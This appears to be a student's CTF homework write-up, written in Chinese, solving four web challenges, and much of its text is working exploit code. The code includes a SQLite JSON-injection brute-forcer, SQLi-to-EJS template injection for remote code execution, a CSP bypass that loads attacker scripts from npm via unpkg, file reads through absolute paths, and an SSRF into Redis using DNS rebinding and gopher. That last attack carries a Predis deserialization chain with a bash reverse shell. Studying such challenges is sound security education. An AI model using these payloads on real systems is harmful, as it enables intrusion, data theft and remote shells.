# SWSEC HW4 Writeup
###### tags: `swsec` `writeup`
<style>
p:has(img) {
text-align: center;
}
.markdown-body img {
max-width: 75%;
}
</style>
## Double Injection - FLAG1
`app/app.js`
```javascript
const { username, password } = req.body;
const jsonPath = JSON.stringify(`$.${username}.password`);
const query = `SELECT json_extract(users, ${jsonPath}) AS password FROM db`;
```
查看原始碼可以看到 username 會塞進 `jsonPath` 後透過 `JSON.stringify` 來加上雙引號並用 `\` escape 裡面本來的雙引號
另外參考 [SQL Language Expressions](https://www.sqlite.org/lang_expr.html):
> A single quote within the string can be encoded by putting two single quotes in a row - as in Pascal. C-style escapes using the backslash character are not supported because they are not standard SQL.
因此實際上用 `\` 是無法 escape 引號的 所以輸入中的 `"` 仍可將最一開頭 `JSON.stringify` 加上的雙引號閉合
當輸入 `username")/*` 時 `json_extract` 的 path 參數會變為 `$.username\` 即該返斜線會被視為 path 的一部分
查閱 [JSON Functions And Operators](https://www.sqlite.org/json1.html#jptr) 可看到使用 `->>` operator 也可達到與 `json_extract` 相同效果
從 users 指定 json path 為 `$.admin.password` 並用 `SUBSTR` 切出單字元 再命名為 `password` 回傳 即可透過密碼欄位一個一個字元爆破 flag
`Double Injection - FLAG1/exp.py`
```python
import concurrent.futures
from typing import Dict
from string import digits, ascii_letters, punctuation
import requests as r
HOST = "http://10.113.184.121:10081"
CHARSET = digits + ascii_letters + punctuation
def query(idx, c):
data = {
"username": f"""username"), SUBSTR(users ->> '$.admin.password', {idx}, 1) AS password FROM db /*""",
"password": c
}
res = r.post(f"{HOST}/login", data=data)
return "Success" in res.text
flag = ""
while True:
with concurrent.futures.ThreadPoolExecutor() as executor:
futures: Dict[concurrent.futures.Future, str] = dict()
for c in CHARSET:
futures[executor.submit(query, len(flag) + 1, c)] = c
for future in concurrent.futures.as_completed(futures.keys()):
res = future.result()
if res:
flag += futures[future]
break
else:
# break while
break
# clean up
for future in futures.keys():
future.cancel()
print(flag)
```
FLAG: `FLAG{sqlite_js0n_inject!on}`
## Double Injection - FLAG2
可以看到 username 會直接被放入 `template` 最後在密碼與 FLAG1 相同時即會傳入 render
因此可以透過 username 來做 SSTI 以達到 RCE
```javascript
const template = `
<html><head><title>Success</title></head><body>
<h1>Success!</h1>
<p>Logged in as ${username}</p>
</body></html>
`
db.get(query, (err, row) => {
if (res.headersSent) return;
if (err) return res.status(500).send('Internal Server Error' + err);
if (row.password === password) {
if (password !== FLAG1) {
const html = ejs.render(`<h1>Success!</h1>`, { username });
return res.send(html);
} else {
const html = ejs.render(template, { username });
```
ejs 使用 `<% %>` 作為 template tags 而使用 `<%= expression %>` 則可印出 expression 的值
另外 從 `global.process.mainModule` 底下可以拿到 `require` 來 require `child_process` 搞 RCE
`Double Injection - FLAG2/exp.py`
```python
import re
import requests as r
HOST = "http://10.113.184.121:10081"
FLAG1 = "FLAG{sqlite_js0n_inject!on}"
RCE = """<%= global.process.mainModule.require('child_process').execSync('{}') %>"""
def rce(cmd):
data = {
"username": """username="), users ->> '$.admin.password' AS password FROM db /* {}""".format(RCE.format(cmd)),
"password": FLAG1
}
res = r.post(f"{HOST}/login", data=data)
return res.text
fn = re.findall("(flag2-\w+.txt)", rce("ls /"))[0]
flag = re.findall("FLAG\{.+?\}", rce(f"cat /{fn}"))[0]
print(flag)
```
![image](https://hackmd.io/_uploads/SkK0FkkOT.png)
FLAG: `FLAG{ezzzzz_sqli2ssti}`
## Note - FLAG1
`app/static/note.js`
```javascript
const note = document.querySelector('#note');
note.innerHTML = `
<h1>${result.title}</h1>
<p>${marked.parse(result.content)}</p>
<hr/>
<span style="color: #999">
By @${result.author}・🔒 Private・
<form action="/report" style="display: inline" method="post">
<input type="hidden" name="note_id" value="${noteId}">
<input type="hidden" name="author" value="${result.author}">
<input type="submit" value="Report">
</form>
</span>
`;
```
可以看到筆記內容會在經過 `marked.parse()` 後設為某個 Element 的 innerHTML
因為 marked 會保留 inline HTML 所以可以用來 XSS 但透過 innerHTML 插入的 script tag 不會有作用
但是用 `iframe` 的 `srcdoc` 即可內嵌 HTML 且 script 也會有作用
另外網站有 CSP 如下
```
default-src 'self'; style-src 'unsafe-inline'; script-src 'self' https://unpkg.com/
```
丟到 [CSP Evaluator](https://csp-evaluator.withgoogle.com/) 檢查
![image](https://hackmd.io/_uploads/SkQkWxJuT.png)
因為 `script-src 'self'` 所以我們也沒辦法直接塞如 `<img src=x onerror=alert(1)>` 的 payload 因為需要 `unsafe-inline` 才能執行
另外看到有 `unpkg.com` 而其為 npm 的 CDN 因此可以任意上傳 package 到 npm 並透過 unpkg 取得該程式碼
因此只要上傳 XSS exploit 到 npm 即可
Note:
```html!
<iframe srcdoc="<script src=https://unpkg.com/eductf-note-exp-pro@2.1.2/dist/exp.js></script>"></iframe>
```
iframe 因為有 CSP `iframe-src` 在管 而當沒設定時會 fallback 到 `default-src` (此處為 `self`)
因此無法透過 `location.href` 打 request 回自己 server
所以另外登入到自己的帳號發一篇新的 note
`Note - FLAG1/exp.js`
```javascript=
(async () => {
let res = await fetch("/api/notes/all");
let data = await res.json();
let id = data[0]["id"];
res = await fetch("/api/notes?id="+id);
data = await res.json();
let payload = btoa(data["content"]);
res = await fetch("/login", {
method: "POST",
body: "username=&password=pass",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
}
});
res = await fetch("/api/notes", {
method: "POST",
body: JSON.stringify({"title":"flag", "content": payload}),
headers: {
"Content-Type": "application/json"
}
});
data = await res.json();
})()
```
FLAG: `FLAG{byp4ss1ing_csp_and_xsssssssss}`
## Note - FLAG2
```python
@app.get("/api/notes")
@login_required
def api_get_note_content():
note_id = request.args.get("id")
author = request.args.get("author") or session.get("username")
if not note_id or ".." in note_id:
return {"error": "Invalid note ID!"}, 400
if not author or not re.match(r"^[a-zA-Z0-9_]+$", author):
return {"error": "Invalid author!"}, 400
user_dir = os.path.join(NOTES_DIR, author)
if not os.path.exists(os.path.join(user_dir, note_id)):
return {"error": "Note not found!"}, 404
with open(os.path.join(user_dir, note_id)) as f:
note_author = f.readline().strip()
title = f.readline().strip()
content = f.read().strip()
if session['username'] != 'admin' and note_author != session["username"]:
return {"error": "You do not have permission to view this note!"}, 403
return {"author": note_author, "title": title, "content": content}
```
在讀取 note 的 route 中 可以看到 `note_id` 沒有做過濾
另外看到這行 `os.path.join(user_dir, note_id)`
再翻閱 [Python os.path docs](https://docs.python.org/3/library/os.path.html#os.path.join) 會看到以下內容:
> If a segment is an absolute path (which on Windows requires both a drive and a root), then all previous segments are ignored and joining continues from the absolute path segment.
因此只要 `note_id` 是絕對路徑 就可以任意讀檔
再看到
`app/Dockerfile`
```Dockerfile
FROM python:alpine
RUN pip3 install flask redis rq
COPY . /app
WORKDIR /app
RUN adduser -D -u 1000 ctf
RUN chown -R ctf:ctf /app
RUN chmod -R 555 /app && chmod -R 744 /app/notes
RUN mkdir -p /app/notes/admin && rm -rf /app/notes/admin/*
RUN UUID=$(python -c 'import uuid; print(uuid.uuid4(), end="")') && \
echo -e "admin\nFLAG1\nFLAG{flag-1}" > "/app/notes/admin/$UUID"
RUN chmod -R 555 /app/notes/admin
RUN echo 'FLAG{flag-2}' > "/flag2-$(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 16).txt" && \
chmod 444 /flag2-*
USER ctf
CMD [ "sh", "-c", "flask run --host=0.0.0.0 --port=5000" ]
```
Dockerfile 中有 flag 內容 又被 `COPY . /app` 複製到 container 中了
所以讀 `/app/Dockerfile` 就有 flag
因為是寫到自己帳號 而且帳號密碼在 script 裡 所以用 `bignumber.js` 做 RSA 加密
避免變成 free flag
Note:
```html!
<iframe srcdoc="<script src=https://unpkg.com/bignumber.js@9.1.2/bignumber.js></script><script src=https://unpkg.com/eductf-note-exp-pro@2.1.2/dist/lfi.js></script>"></iframe>
```
`Note - FLAG2/lfi.js`
```javascript
(async () => {
let id = "/app/Dockerfile"
let res = await fetch("/api/notes?id="+id);
let data = await res.json();
let content = data["content"];
const regex = /FLAG\{.+?\}/g;
let payload = [...content.matchAll(regex)].map(item=>item[0]).join("|");
let p = new BigNumber(payload.split("").map(c=>c.charCodeAt(0).toString(16)).join(""), 16);
let N = new BigNumber('...');
let e = new BigNumber(65537);
let cipher = p.exponentiatedBy(e, N).toString(16);
res = await fetch("/login", {
method: "POST",
body: "username=user&password=pass",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
}
});
res = await fetch("/api/notes", {
method: "POST",
body: JSON.stringify({"title":"flag", "content": cipher}),
headers: {
"Content-Type": "application/json"
}
});
data = await res.json();
})()
```
![solve](https://hackmd.io/_uploads/rkOdKek_p.png)
FLAG: `FLAG{n0t_just_4n_xss}`
## Private Browsing Revenge
參考原題 推測本題也使用 curl 因此嘗試 `file://` 讀 source code
![image](https://hackmd.io/_uploads/rkbdTQkda.png)
發現會檢查 hostname
可用 `file://localhost/var/www/html/api.php` 讓 php 抓到 `localhost` 作為 hostname 繞過
取得 source code:
`api.php`
```php
<?php
require_once __DIR__ . '/config.php';
function request($url, $method = 'GET', $data = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
return $error;
}
return $response;
}
if (!isset($_GET['action'])) {
die();
}
$action = $_GET['action'];
if ($action === 'view' && isset($_GET['url'])) {
header("Content-Security-Policy: script-src 'none'");
header("X-Content-Type-Options: nosniff");
$url = $_GET['url'];
$_SESSION['history'][] = $url;
$hostname = parse_url($url, PHP_URL_HOST);
if (filter_var(gethostbyname($hostname), FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE) === false) {
die('Error: Invalid IP or intranet ip in provided URL.<br>Reason:<code>(filter_var(gethostbyname($hostname), FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE) === false</code>');
}
echo request($url);
} else if ($action === 'get_history') {
header('Content-Type: application/json');
echo json_encode($_SESSION['history']);
} else if ($action === 'clear_history') {
$_SESSION['history'] = [];
echo '{"status": "ok"}';
}
```
發現他會檢查 `$hostname` 不能是內網 IP
`config.php`
```php
<?php
require_once __DIR__ . '/../vendor/autoload.php';
$redis = new Predis\Client('tcp://redis:6379');
$handler = new Predis\Session\Handler($redis);
$handler->register();
session_start();
if (!isset($_SESSION['history'])) {
$_SESSION['history'] = [];
}
```
另外知道內網有一個 redis 且透過 `predis` 來做連線
`composer.json`
```json
{ "require": { "predis/predis": "^2.2" } }
```
檢查 `composer.json` 沒有其他 library
`/proc/net/arp`
![image](https://hackmd.io/_uploads/rkzP14bd6.png)
推測 redis 應該是 `192.168.224.2`
有 curl 和 redis 可以用 `gopher://` 來操作 redis 但得繞過上面的 php IP 檢查
因為檢查跟實際 query 的時間是分開的 可以做 DNS Rebinding
用 [rbndr.us](https://lock.cmpxchg8b.com/rebinder.html) 即可建立如 `c0a8e002.7f000001.rbndr.us` 的 domain
其 resolve 結果會在 `127.0.0.1` 跟 `192.168.224.2` 隨機跳
多試幾次就會試到檢查時查到 `127.0.0.1` 而到 curl 時查到 `192.168.224.2`
由於其使用了 session 因此自帶 unserialize 的行為
接下來便是找 POP chain 由於題目本身根本沒提供 class 所以轉而到 predis 裡面找
先從 `call_user_func` 往上找起
`src/Connection/Factory.php`
```php=83
public function create($parameters)
{
if (!$parameters instanceof ParametersInterface) {
$parameters = $this->createParameters($parameters);
}
$scheme = $parameters->scheme;
if (!isset($this->schemes[$scheme])) {
throw new InvalidArgumentException("Unknown connection scheme: '$scheme'.");
}
$initializer = $this->schemes[$scheme];
if (is_callable($initializer)) {
$connection = call_user_func($initializer, $parameters, $this);
```
只要控 `Predis\Connection\Factory` 中的 `$this->scheme` 讓 `$initializer` 為 `'system'`
再控制 `$this->createParameters` 後的 `$parameter.toString()` 為 reverse shell command 即可
`src/Connection/Parameters.php`
```php=179
public function __toString()
{
if ($this->scheme === 'unix') {
return "$this->scheme:$this->path";
}
if (filter_var($this->host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
return "$this->scheme://[$this->host]:$this->port";
}
return "$this->scheme://$this->host:$this->port";
}
```
而 `Predis\Connection\Parameters` 的 `__toString` 定義如上 因此可以把 command 放在 `scheme` 最後再加上 `#` 把後面整段註解掉 這樣就不用管 `host` 跟 `port` 了
看回 `src/Connection/Factory.php`
```php=144
protected function createParameters($parameters)
{
if (is_string($parameters)) {
$parameters = Parameters::parse($parameters);
} else {
$parameters = $parameters ?: [];
}
if ($this->defaults) {
$parameters += $this->defaults;
}
return new Parameters($parameters);
}
```
為了繞開 `Parameters::parse` 這裡要控制呼叫 `Connection\Factory->create()` 時參數為 array 即可 剩下可用 `$this->defaults` 控制
---
接著找呼叫 `create()` 的地方
`src/Connection/Cluster/RedisCluster.php`
```php=336
protected function createConnection($connectionID)
{
$separator = strrpos($connectionID, ':');
return $this->connections->create([
'host' => substr($connectionID, 0, $separator),
'port' => substr($connectionID, $separator + 1),
]);
}
```
只要控制 `$this->connections` 為 `Predis\Connection\Factory` 的 instance
而且這裡的參數也非常剛好是 array 也不會蓋到 `scheme`
往上翻 reference 可以找到同 class 的 `getIterator`
```php=613
public function getIterator()
{
if ($this->slotmap->isEmpty()) {
$this->useClusterSlots ? $this->askSlotMap() : $this->buildSlotMap();
}
$connections = [];
foreach ($this->slotmap->getNodes() as $node) {
if (!$connection = $this->getConnectionById($node)) {
$this->add($connection = $this->createConnection($node));
```
只要控制 `$this->slotMap` 不要是空的 且 `$node` 不存在於 `RedisCluster` 的 pool 中 即可觸發 `$this->createConnection`
---
要觸發 `IteratorAggregate->getIterator` 只要讓該 object 為 `foreach` 展開的對象即可 所以開始翻可控的 `foreach`
`src/Connection/Cluser/PredisCluster.php`
```php=88
public function disconnect()
{
foreach ($this->pool as $connection) {
$connection->disconnect();
```
這裡讓 `$this->pool` 控成 `RedisCluster` 的 instance 即可
---
接下來找呼叫 `disconnect()` 的 gadget
![image](https://hackmd.io/_uploads/HkOt6SJ_p.png =30%x)
`src/Response/Iterator/MultiBulk.php`
```php=41
public function __destruct()
{
$this->drop(true);
}
/**
* Drop queued elements that have not been read from the connection either
* by consuming the rest of the multibulk response or quickly by closing the
* underlying connection.
*
* @param bool $disconnect Consume the iterator or drop the connection.
*/
public function drop($disconnect = false)
{
if ($disconnect) {
if ($this->valid()) {
$this->position = $this->size;
$this->connection->disconnect();
```
篩選後只有 `Predis\Response\Iterator\MultiBulk` 有 `__destruct` 可以讓 pop chain 觸發又呼叫到 `disconnect`
把 `$this->connection` 控成 `PredisCluster` 的 instance
並讓 `$this->valid()` 回傳 true 即觸發後續 exploit
而其檢查很簡單:
`src/Response/Iterator/MultiBulkIterator.php`
```php=78
public function valid()
{
return $this->position < $this->size;
}
```
直接控制 `$this->position` 與 `$this->size` 滿足條件即可
---
最終造出 pop chain 如下:
```!
1. MultiBulk->__destruct() => MultiBulk->drop() => $this->connection->disconnect()
2. RedisCluster->getIterator() => $this->createConnection() => $this->connections->create()
3. Connection\Factory->create(<array>) => Factory->createParameters => new Parameter($this->defaults) => $initializer = $this->schemes[$this->defaults->scheme] =>
call_user_func($initializer, $parameters->__toString(), $this)
```
`Private Browsing Revenge/pop.php`
```php
<?php
namespace Predis\Connection {
use Predis\Connection\Cluster\PredisCluster;
class Factory {
private $defaults = [
'scheme' => 'bash -c "bash -i >& /dev/tcp/<ip>/40005 0>&1" #'
];
protected $schemes = [
'bash -c "bash -i >& /dev/tcp/<ip>/40005 0>&1" #' => 'system'
];
}
class Parameters {
protected static $defaults = [
'scheme' => 'tcp',
'host' => '192.168.224.2',
'port' => 6379
];
protected $parameters;
public function __construct(array $parameters = []) {
$this->parameters = $parameters + static::$defaults;
}
}
}
namespace Predis\Connection\Cluster {
use Predis\Cluster\SlotMap;
use Predis\Connection\Factory;
class RedisCluster {
private $slotmap;
private $connections;
public function __construct() {
$this->connections = new Factory();
$this->slotmap = new SlotMap([ "value" => "key" ]); // array_flip
}
}
class PredisCluster {
private $pool = [];
public function __construct() {
$this->pool = new RedisCluster();
}
}
}
namespace Predis\Cluster {
class SlotMap {
private $slots = [];
public function __construct($arr) {
$this->slots = $arr;
}
}
}
namespace Predis\Response\Iterator {
use Predis\Connection\Cluster\PredisCluster;
class MultiBulk {
private $connection;
protected $position = 0;
protected $size = 48763;
public function __construct() {
$this->connection = new PredisCluster();
}
}
}
namespace {
use Predis\Response\Iterator\MultiBulk;
$obj = new MultiBulk();
session_start();
$_SESSION['history'] = $obj;
echo session_encode();
}
```
---
要打 gopher 前 先用 redis-py 裡面的 `PythonRespSerializer` 來把 redis command 包成 [RESP](https://redis.io/docs/reference/protocol-spec/) 格式
再用 `urllib.parse.quote_from_bytes` 把 payload urlencode 過
最後因為 curl 在某個版本後 ([commit](https://github.com/curl/curl/commit/31e53584db5879894809fbde5445aac7553ac3e2#diff-53720a33b2e6f5ad58191603f5fdeb5a92913cad34dbcc161555b6894cddd8de))
當 path 裡面中有 NULL byte (`%00`) 就會噴 `URL using bad/illegal format or missing URL`
而 `protected` 與 `private` 兩種 member 在 serialize 時都會被加上 NULL byte 所以要另外繞過
可以寫一個 XOR Key 跟 XOR 過沒 NULL byte 的 serialization payload 到 redis 裡面
再利用 [BITOP](https://redis.io/commands/bitop/) 指令來將偽造的 session 還原回來
`Private Browsing Revenge/exp.py`
```python
import time
import random
import secrets
import subprocess
from urllib.parse import quote_from_bytes
import requests as r
import redis.connection
import redis._parsers
from pwn import xor_key
PHPSESSID = secrets.token_hex(16)
REDIS = "7f000001.c0a8e002.rbndr.us:6379" # 192.168.224.2
SITE = "http://10.113.184.121:10083"
E1 = "Couldn't connect to server"
E2 = "Invalid IP or intranet ip in provided URL."
print(PHPSESSID)
s = r.Session()
serializer = redis.connection.PythonRespSerializer(
6000,
redis._parsers.Encoder("utf-8", "strict", False).encode
)
chain_payload = subprocess.check_output("php -f pop.php", shell=True)
key, chain_payload = xor_key(chain_payload, b"\x00", 1)
redis_payload = serializer.pack("SET", PHPSESSID + "1", key * len(chain_payload)) + \
serializer.pack("SET", PHPSESSID + "2", chain_payload) + \
serializer.pack("BITOP", "XOR", PHPSESSID, PHPSESSID + "1", PHPSESSID + "2") + \
serializer.pack("DEL", PHPSESSID + "1", PHPSESSID + "2") + \
serializer.pack("GET", PHPSESSID) + serializer.pack("QUIT")
redis_payload = b"".join(redis_payload)
ssrf_payload = f"gopher://{REDIS}/_" + quote_from_bytes(redis_payload)
print(ssrf_payload)
while True:
res = s.get(f"{SITE}/api.php", params={ "action": "view", "url": ssrf_payload })
if E1 not in res.text and E2 not in res.text:
print(res.text)
break
time.sleep(random.randint(10, 100) / 1000)
print(s.cookies['PHPSESSID'])
res = r.get(f"{SITE}/config.php", cookies={ "PHPSESSID": PHPSESSID })
print(res.text)
```
FLAG: `FLAG{omg_a_looooong_pop_chain}`